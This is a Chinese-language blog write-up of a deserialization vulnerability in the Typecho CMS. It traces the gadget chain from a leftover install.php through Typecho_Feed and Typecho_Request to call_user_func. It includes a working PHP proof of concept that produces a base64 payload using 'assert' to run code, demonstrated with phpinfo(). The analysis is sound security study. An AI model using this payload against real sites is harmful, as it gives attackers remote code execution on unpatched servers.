Typecho反序列化分析

Posted by 跳跳龙 on April 6, 2020

php的反序列化我觉得要比Java的简单的多,很大程度上我觉得源自于php语言的易用性。php反序列化和java本质上并无二异,但是在利用上来说,php基本要依靠魔法函数。php的众多魔法函数基本在CTF中反复被使用和考察。之前一直在分析java的调用链和利用过程,typecho这个问题是一个非常典型的反序列化案例,值得学习,之前我只是简单的更新到了github上的知识清单中,今天重新调试了一下,记录一下,以便后续回味起来,感慨万千!

利用点在install.php文件,cms安装完毕之后没有主动删除install.php文件。

反序列化之后是被赋值成 config变量,那我们可以精心构造一个 config变量。然后下面执行了 config[‘adapter’]。那如果 config[‘adapter’]是一个对象的话,这里会隐式调用该对象的_tostring方法。

于是乎将config[‘adapter’]构造成class为Typecho_Feed的对象。

Feed.php文件中 class Typecho_Feed 中的_tostring方法如下。 这里使用了item[‘title’],会隐式调用变量item的_get函数,而item是Typecho_Feed的一个属性,所以我们让这个item为class为Typecho_Request的对象。

Request.php class Typecho_Request的_get方法。

这里的_get方法会调用get方法,继续调用_applyFilter方法。

会执行call_user_func(filter,value) 目前的函数都在Typecho_Request类中,于是我们可以构造自己的_filter变量和param变量,后者实际上是我们的value变量。

POC

class Typecho_Feed
{
    const RSS1 = 'RSS 1.0';
    const RSS2 = 'RSS 2.0';
    const ATOM1 = 'ATOM 1.0';
    const DATE_RFC822 = 'r';
    const DATE_W3CDTF = 'c';
    const EOL = "\n";
    private $_type;
    private $_items;

    public function __construct(){
        $this->_type = $this::RSS2;
        $this->_items[0] = array(
            'title' => '1',
            'link' => '1',
            'date' => 1508895132,
            'category' => array(new Typecho_Request()),
            'author' => new Typecho_Request(),
        );
    }
}

class Typecho_Request
{
    private $_params = array();
    private $_filter = array();

    public function __construct(){
        $this->_params['screenName'] = 'phpinfo()';
        $this->_filter[0] = 'assert';
    }
}

$exp = array(
    'adapter' => new Typecho_Feed(),
    'prefix' => 'typecho_'
);

echo base64_encode(serialize($exp));

最后debug一下,方能更加清晰的理解这个过程。 实际测试的时候,发现要满足finish变量和referer的设置。

看一下漏洞触发点的变量。config变量是一个数组,第一个元素是Typecho_Feed对象,满足我们上面说的。

由于执行了config[‘adapter’],会执行config[‘adapter’]->_tostring方法。 tostring方法中执行了item[‘author’],会执行item的_get方法。 get方法也是调用本地_applyFilter()

总结: Typecho这个调用过程是php中非常典型的,希望可以自己动手调试一下,实际感受一下。纸上得来终觉浅,绝知此事要躬行!